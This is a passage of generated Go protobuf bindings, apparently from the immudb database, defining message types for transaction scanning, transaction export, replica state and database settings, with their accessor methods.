protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use TxScanRequest.ProtoReflect.Descriptor instead.\nfunc (*TxScanRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{63}\n}\n\nfunc (x *TxScanRequest) GetInitialTx() uint64 {\n\tif x != nil {\n\t\treturn x.InitialTx\n\t}\n\treturn 0\n}\n\nfunc (x *TxScanRequest) GetLimit() uint32 {\n\tif x != nil {\n\t\treturn x.Limit\n\t}\n\treturn 0\n}\n\nfunc (x *TxScanRequest) GetDesc() bool {\n\tif x != nil {\n\t\treturn x.Desc\n\t}\n\treturn false\n}\n\nfunc (x *TxScanRequest) GetEntriesSpec() *EntriesSpec {\n\tif x != nil {\n\t\treturn x.EntriesSpec\n\t}\n\treturn nil\n}\n\nfunc (x *TxScanRequest) GetSinceTx() uint64 {\n\tif x != nil {\n\t\treturn x.SinceTx\n\t}\n\treturn 0\n}\n\nfunc (x *TxScanRequest) GetNoWait() bool {\n\tif x != nil {\n\t\treturn x.NoWait\n\t}\n\treturn false\n}\n\ntype TxList struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// List of transactions\n\tTxs []*Tx `protobuf:\"bytes,1,rep,name=txs,proto3\" json:\"txs,omitempty\"`\n}\n\nfunc (x *TxList) Reset() {\n\t*x = TxList{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[64]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *TxList) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*TxList) ProtoMessage() {}\n\nfunc (x *TxList) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[64]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use TxList.ProtoReflect.Descriptor instead.\nfunc (*TxList) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{64}\n}\n\nfunc (x *TxList) GetTxs() []*Tx {\n\tif x != nil {\n\t\treturn x.Txs\n\t}\n\treturn nil\n}\n\ntype ExportTxRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Id of transaction to export\n\tTx uint64 `protobuf:\"varint,1,opt,name=tx,proto3\" json:\"tx,omitempty\"`\n\t// If set to true, non-committed transactions can be exported\n\tAllowPreCommitted bool `protobuf:\"varint,2,opt,name=allowPreCommitted,proto3\" json:\"allowPreCommitted,omitempty\"`\n\t// Used on synchronous replication to notify the primary about replica state\n\tReplicaState *ReplicaState `protobuf:\"bytes,3,opt,name=replicaState,proto3\" json:\"replicaState,omitempty\"`\n\t// If set to true, integrity checks are skipped when reading data\n\tSkipIntegrityCheck bool `protobuf:\"varint,4,opt,name=skipIntegrityCheck,proto3\" json:\"skipIntegrityCheck,omitempty\"`\n}\n\nfunc (x *ExportTxRequest) Reset() {\n\t*x = ExportTxRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[65]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ExportTxRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ExportTxRequest) ProtoMessage() {}\n\nfunc (x *ExportTxRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[65]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ExportTxRequest.ProtoReflect.Descriptor instead.\nfunc (*ExportTxRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{65}\n}\n\nfunc (x *ExportTxRequest) GetTx() uint64 {\n\tif x != nil {\n\t\treturn x.Tx\n\t}\n\treturn 0\n}\n\nfunc (x *ExportTxRequest) GetAllowPreCommitted() bool {\n\tif x != nil {\n\t\treturn x.AllowPreCommitted\n\t}\n\treturn false\n}\n\nfunc (x *ExportTxRequest) GetReplicaState() *ReplicaState {\n\tif x != nil {\n\t\treturn x.ReplicaState\n\t}\n\treturn nil\n}\n\nfunc (x *ExportTxRequest) GetSkipIntegrityCheck() bool {\n\tif x != nil {\n\t\treturn x.SkipIntegrityCheck\n\t}\n\treturn false\n}\n\ntype ReplicaState struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tUUID             string `protobuf:\"bytes,1,opt,name=UUID,proto3\" json:\"UUID,omitempty\"`\n\tCommittedTxID    uint64 `protobuf:\"varint,2,opt,name=committedTxID,proto3\" json:\"committedTxID,omitempty\"`\n\tCommittedAlh     []byte `protobuf:\"bytes,3,opt,name=committedAlh,proto3\" json:\"committedAlh,omitempty\"`\n\tPrecommittedTxID uint64 `protobuf:\"varint,4,opt,name=precommittedTxID,proto3\" json:\"precommittedTxID,omitempty\"`\n\tPrecommittedAlh  []byte `protobuf:\"bytes,5,opt,name=precommittedAlh,proto3\" json:\"precommittedAlh,omitempty\"`\n}\n\nfunc (x *ReplicaState) Reset() {\n\t*x = ReplicaState{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[66]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *ReplicaState) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*ReplicaState) ProtoMessage() {}\n\nfunc (x *ReplicaState) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[66]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use ReplicaState.ProtoReflect.Descriptor instead.\nfunc (*ReplicaState) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{66}\n}\n\nfunc (x *ReplicaState) GetUUID() string {\n\tif x != nil {\n\t\treturn x.UUID\n\t}\n\treturn \"\"\n}\n\nfunc (x *ReplicaState) GetCommittedTxID() uint64 {\n\tif x != nil {\n\t\treturn x.CommittedTxID\n\t}\n\treturn 0\n}\n\nfunc (x *ReplicaState) GetCommittedAlh() []byte {\n\tif x != nil {\n\t\treturn x.CommittedAlh\n\t}\n\treturn nil\n}\n\nfunc (x *ReplicaState) GetPrecommittedTxID() uint64 {\n\tif x != nil {\n\t\treturn x.PrecommittedTxID\n\t}\n\treturn 0\n}\n\nfunc (x *ReplicaState) GetPrecommittedAlh() []byte {\n\tif x != nil {\n\t\treturn x.PrecommittedAlh\n\t}\n\treturn nil\n}\n\ntype Database struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Name of the database\n\tDatabaseName string `protobuf:\"bytes,1,opt,name=databaseName,proto3\" json:\"databaseName,omitempty\"`\n}\n\nfunc (x *Database) Reset() {\n\t*x = Database{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[67]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *Database) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*Database) ProtoMessage() {}\n\nfunc (x *Database) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[67]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use Database.ProtoReflect.Descriptor instead.\nfunc (*Database) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{67}\n}\n\nfunc (x *Database) GetDatabaseName() string {\n\tif x != nil {\n\t\treturn x.DatabaseName\n\t}\n\treturn \"\"\n}\n\ntype DatabaseSettings struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Name of the database\n\tDatabaseName string `protobuf:\"bytes,1,opt,name=databaseName,proto3\" json:\"databaseName,omitempty\"`\n\t// If set to true, this database is replicating another database\n\tReplica bool `protobuf:\"varint,2,opt,name=replica,proto3\" json:\"replica,omitempty\"`\n\t// Name of the database to replicate\n\tPrimaryDatabase string `protobuf:\"bytes,3,opt,name=primaryDatabase,proto3\" json:\"primaryDatabase,omitempty\"`\n\t// Hostname of the immudb instance with database to replicate\n\tPrimaryHost string `protobuf:\"bytes,4,opt,name=primaryHost,proto3\" json:\"primaryHost,omitempty\"`\n\t// Port of the immudb instance with database to replicate\n\tPrimaryPort uint32 `protobuf:\"varint,5,opt,name=primaryPort,proto3\" json:\"primaryPort,omitempty\"`\n\t// Username of the user with read access of the database to replicate\n\tPrimaryUsername string `protobuf:\"bytes,6,opt,name=primaryUsername,proto3\" json:\"primaryUsername,omitempty\"`\n\t// Password of the user with read access of the database to replicate\n\tPrimaryPassword string `protobuf:\"bytes,7,opt,name=primaryPassword,proto3\" json:\"primaryPassword,omitempty\"`\n\t// Size of files stored on disk\n\tFileSize uint32 `protobuf:\"varint,8,opt,name=fileSize,proto3\" json:\"fileSize,omitempty\"`\n\t// Maximum length of keys\n\tMaxKeyLen uint32 `protobuf:\"varint,9,opt,name=maxKeyLen,proto3\" json:\"maxKeyLen,omitempty\"`\n\t// Maximum length of values\n\tMaxValueLen uint32 `protobuf:\"varint,10,opt,name=maxValueLen,proto3\" json:\"maxValueLen,omitempty\"`\n\t// Maximum number of entries in a single transaction\n\tMaxTxEntries uint32 `protobuf:\"varint,11,opt,name=maxTxEntries,proto3\" json:\"maxTxEntries,omitempty\"`\n\t// If set to true, do not include commit timestamp in transaction headers\n\tExcludeCommitTime bool `protobuf:\"varint,12,opt,name=excludeCommitTime,proto3\" json:\"excludeCommitTime,omitempty\"`\n}\n\nfunc (x *DatabaseSettings) Reset() {\n\t*x = DatabaseSettings{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[68]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DatabaseSettings) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DatabaseSettings) ProtoMessage() {}\n\nfunc (x *DatabaseSettings) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[68]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DatabaseSettings.ProtoReflect.Descriptor instead.\nfunc (*DatabaseSettings) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{68}\n}\n\nfunc (x *DatabaseSettings) GetDatabaseName() string {\n\tif x != nil {\n\t\treturn x.DatabaseName\n\t}\n\treturn \"\"\n}\n\nfunc (x *DatabaseSettings) GetReplica() bool {\n\tif x != nil {\n\t\treturn x.Replica\n\t}\n\treturn false\n}\n\nfunc (x *DatabaseSettings) GetPrimaryDatabase() string {\n\tif x != nil {\n\t\treturn x.PrimaryDatabase\n\t}\n\treturn \"\"\n}\n\nfunc (x *DatabaseSettings) GetPrimaryHost() string {\n\tif x != nil {\n\t\treturn x.PrimaryHost\n\t}\n\treturn \"\"\n}\n\nfunc (x *DatabaseSettings) GetPrimaryPort() uint32 {\n\tif x != nil {\n\t\treturn x.PrimaryPort\n\t}\n\treturn 0\n}\n\nfunc (x *DatabaseSettings) GetPrimaryUsername() string {\n\tif x != nil {\n\t\treturn x.PrimaryUsername\n\t}\n\treturn \"\"\n}\n\nfunc (x *DatabaseSettings) GetPrimaryPassword() string {\n\tif x != nil {\n\t\treturn x.PrimaryPassword\n\t}\n\treturn \"\"\n}\n\nfunc (x *DatabaseSettings) GetFileSize() uint32 {\n\tif x != nil {\n\t\treturn x.FileSize\n\t}\n\treturn 0\n}\n\nfunc (x *DatabaseSettings) GetMaxKeyLen() uint32 {\n\tif x != nil {\n\t\treturn x.MaxKeyLen\n\t}\n\treturn 0\n}\n\nfunc (x *DatabaseSettings) GetMaxValueLen() uint32 {\n\tif x != nil {\n\t\treturn x.MaxValueLen\n\t}\n\treturn 0\n}\n\nfunc (x *DatabaseSettings) GetMaxTxEntries() uint32 {\n\tif x != nil {\n\t\treturn x.MaxTxEntries\n\t}\n\treturn 0\n}\n\nfunc (x *DatabaseSettings) GetExcludeCommitTime() bool {\n\tif x != nil {\n\t\treturn x.ExcludeCommitTime\n\t}\n\treturn false\n}\n\ntype CreateDatabaseRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Database name\n\tName string `protobuf:\"bytes,1,opt,name=name,proto3\" json:\"name,omitempty\"`\n\t// Database settings\n\tSettings *DatabaseNullableSettings `protobuf:\"bytes,2,opt,name=settings,proto3\" json:\"settings,omitempty\"`\n\t// If set to true, do not fail if the database already exists\n\tIfNotExists bool `protobuf:\"varint,3,opt,name=ifNotExists,proto3\" json:\"ifNotExists,omitempty\"`\n}\n\nfunc (x *CreateDatabaseRequest) Reset() {\n\t*x = CreateDatabaseRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[69]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *CreateDatabaseRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*CreateDatabaseRequest) ProtoMessage() {}\n\nfunc (x *CreateDatabaseRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[69]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use CreateDatabaseRequest.ProtoReflect.Descriptor instead.\nfunc (*CreateDatabaseRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{69}\n}\n\nfunc (x *CreateDatabaseRequest) GetName() string {\n\tif x != nil {\n\t\treturn x.Name\n\t}\n\treturn \"\"\n}\n\nfunc (x *CreateDatabaseRequest) GetSettings() *DatabaseNullableSettings {\n\tif x != nil {\n\t\treturn x.Settings\n\t}\n\treturn nil\n}\n\nfunc (x *CreateDatabaseRequest) GetIfNotExists() bool {\n\tif x != nil {\n\t\treturn x.IfNotExists\n\t}\n\treturn false\n}\n\ntype CreateDatabaseResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Database name\n\tName string `protobuf:\"bytes,1,opt,name=name,proto3\" json:\"name,omitempty\"`\n\t// Current database settings\n\tSettings *DatabaseNullableSettings `protobuf:\"bytes,2,opt,name=settings,proto3\" json:\"settings,omitempty\"`\n\t// Set to true if given database already existed\n\tAlreadyExisted bool `protobuf:\"varint,3,opt,name=alreadyExisted,proto3\" json:\"alreadyExisted,omitempty\"`\n}\n\nfunc (x *CreateDatabaseResponse) Reset() {\n\t*x = CreateDatabaseResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[70]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *CreateDatabaseResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*CreateDatabaseResponse) ProtoMessage() {}\n\nfunc (x *CreateDatabaseResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[70]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use CreateDatabaseResponse.ProtoReflect.Descriptor instead.\nfunc (*CreateDatabaseResponse) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{70}\n}\n\nfunc (x *CreateDatabaseResponse) GetName() string {\n\tif x != nil {\n\t\treturn x.Name\n\t}\n\treturn \"\"\n}\n\nfunc (x *CreateDatabaseResponse) GetSettings() *DatabaseNullableSettings {\n\tif x != nil {\n\t\treturn x.Settings\n\t}\n\treturn nil\n}\n\nfunc (x *CreateDatabaseResponse) GetAlreadyExisted() bool {\n\tif x != nil {\n\t\treturn x.AlreadyExisted\n\t}\n\treturn false\n}\n\ntype UpdateDatabaseRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Database name\n\tDatabase string `protobuf:\"bytes,1,opt,name=database,proto3\" json:\"database,omitempty\"`\n\t// Updated settings\n\tSettings *DatabaseNullableSettings `protobuf:\"bytes,2,opt,name=settings,proto3\" json:\"settings,omitempty\"`\n}\n\nfunc (x *UpdateDatabaseRequest) Reset() {\n\t*x = UpdateDatabaseRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[71]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *UpdateDatabaseRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*UpdateDatabaseRequest) ProtoMessage() {}\n\nfunc (x *UpdateDatabaseRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[71]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use UpdateDatabaseRequest.ProtoReflect.Descriptor instead.\nfunc (*UpdateDatabaseRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{71}\n}\n\nfunc (x *UpdateDatabaseRequest) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\nfunc (x *UpdateDatabaseRequest) GetSettings() *DatabaseNullableSettings {\n\tif x != nil {\n\t\treturn x.Settings\n\t}\n\treturn nil\n}\n\n// Reserved to reply with more advanced response later\ntype UpdateDatabaseResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Database name\n\tDatabase string `protobuf:\"bytes,1,opt,name=database,proto3\" json:\"database,omitempty\"`\n\t// Current database settings\n\tSettings *DatabaseNullableSettings `protobuf:\"bytes,2,opt,name=settings,proto3\" json:\"settings,omitempty\"`\n}\n\nfunc (x *UpdateDatabaseResponse) Reset() {\n\t*x = UpdateDatabaseResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[72]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *UpdateDatabaseResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*UpdateDatabaseResponse) ProtoMessage() {}\n\nfunc (x *UpdateDatabaseResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[72]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use UpdateDatabaseResponse.ProtoReflect.Descriptor instead.\nfunc (*UpdateDatabaseResponse) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{72}\n}\n\nfunc (x *UpdateDatabaseResponse) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\nfunc (x *UpdateDatabaseResponse) GetSettings() *DatabaseNullableSettings {\n\tif x != nil {\n\t\treturn x.Settings\n\t}\n\treturn nil\n}\n\ntype DatabaseSettingsRequest struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n}\n\nfunc (x *DatabaseSettingsRequest) Reset() {\n\t*x = DatabaseSettingsRequest{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[73]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DatabaseSettingsRequest) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DatabaseSettingsRequest) ProtoMessage() {}\n\nfunc (x *DatabaseSettingsRequest) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[73]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DatabaseSettingsRequest.ProtoReflect.Descriptor instead.\nfunc (*DatabaseSettingsRequest) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{73}\n}\n\ntype DatabaseSettingsResponse struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\t// Database name\n\tDatabase string `protobuf:\"bytes,1,opt,name=database,proto3\" json:\"database,omitempty\"`\n\t// Database settings\n\tSettings *DatabaseNullableSettings `protobuf:\"bytes,2,opt,name=settings,proto3\" json:\"settings,omitempty\"`\n}\n\nfunc (x *DatabaseSettingsResponse) Reset() {\n\t*x = DatabaseSettingsResponse{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[74]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *DatabaseSettingsResponse) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*DatabaseSettingsResponse) ProtoMessage() {}\n\nfunc (x *DatabaseSettingsResponse) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[74]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use DatabaseSettingsResponse.ProtoReflect.Descriptor instead.\nfunc (*DatabaseSettingsResponse) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{74}\n}\n\nfunc (x *DatabaseSettingsResponse) GetDatabase() string {\n\tif x != nil {\n\t\treturn x.Database\n\t}\n\treturn \"\"\n}\n\nfunc (x *DatabaseSettingsResponse) GetSettings() *DatabaseNullableSettings {\n\tif x != nil {\n\t\treturn x.Settings\n\t}\n\treturn nil\n}\n\ntype NullableUint32 struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tValue uint32 `protobuf:\"varint,1,opt,name=value,proto3\" json:\"value,omitempty\"`\n}\n\nfunc (x *NullableUint32) Reset() {\n\t*x = NullableUint32{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[75]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *NullableUint32) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*NullableUint32) ProtoMessage() {}\n\nfunc (x *NullableUint32) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[75]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use NullableUint32.ProtoReflect.Descriptor instead.\nfunc (*NullableUint32) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{75}\n}\n\nfunc (x *NullableUint32) GetValue() uint32 {\n\tif x != nil {\n\t\treturn x.Value\n\t}\n\treturn 0\n}\n\ntype NullableUint64 struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tValue uint64 `protobuf:\"varint,1,opt,name=value,proto3\" json:\"value,omitempty\"`\n}\n\nfunc (x *NullableUint64) Reset() {\n\t*x = NullableUint64{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[76]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *NullableUint64) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*NullableUint64) ProtoMessage() {}\n\nfunc (x *NullableUint64) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[76]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use NullableUint64.ProtoReflect.Descriptor instead.\nfunc (*NullableUint64) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{76}\n}\n\nfunc (x *NullableUint64) GetValue() uint64 {\n\tif x != nil {\n\t\treturn x.Value\n\t}\n\treturn 0\n}\n\ntype NullableFloat struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields protoimpl.UnknownFields\n\n\tValue float32 `protobuf:\"fixed32,1,opt,name=value,proto3\" json:\"value,omitempty\"`\n}\n\nfunc (x *NullableFloat) Reset() {\n\t*x = NullableFloat{}\n\tif protoimpl.UnsafeEnabled {\n\t\tmi := &file_schema_proto_msgTypes[77]\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tms.StoreMessageInfo(mi)\n\t}\n}\n\nfunc (x *NullableFloat) String() string {\n\treturn protoimpl.X.MessageStringOf(x)\n}\n\nfunc (*NullableFloat) ProtoMessage() {}\n\nfunc (x *NullableFloat) ProtoReflect() protoreflect.Message {\n\tmi := &file_schema_proto_msgTypes[77]\n\tif protoimpl.UnsafeEnabled && x != nil {\n\t\tms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))\n\t\tif ms.LoadMessageInfo() == nil {\n\t\t\tms.StoreMessageInfo(mi)\n\t\t}\n\t\treturn ms\n\t}\n\treturn mi.MessageOf(x)\n}\n\n// Deprecated: Use NullableFloat.ProtoReflect.Descriptor instead.\nfunc (*NullableFloat) Descriptor() ([]byte, []int) {\n\treturn file_schema_proto_rawDescGZIP(), []int{77}\n}\n\nfunc (x *NullableFloat) GetValue() float32 {\n\tif x != nil {\n\t\treturn x.Value\n\t}\n\treturn 0\n}\n\ntype NullableBool struct {\n\tstate         protoimpl.MessageState\n\tsizeCache     protoimpl.SizeCache\n\tunknownFields 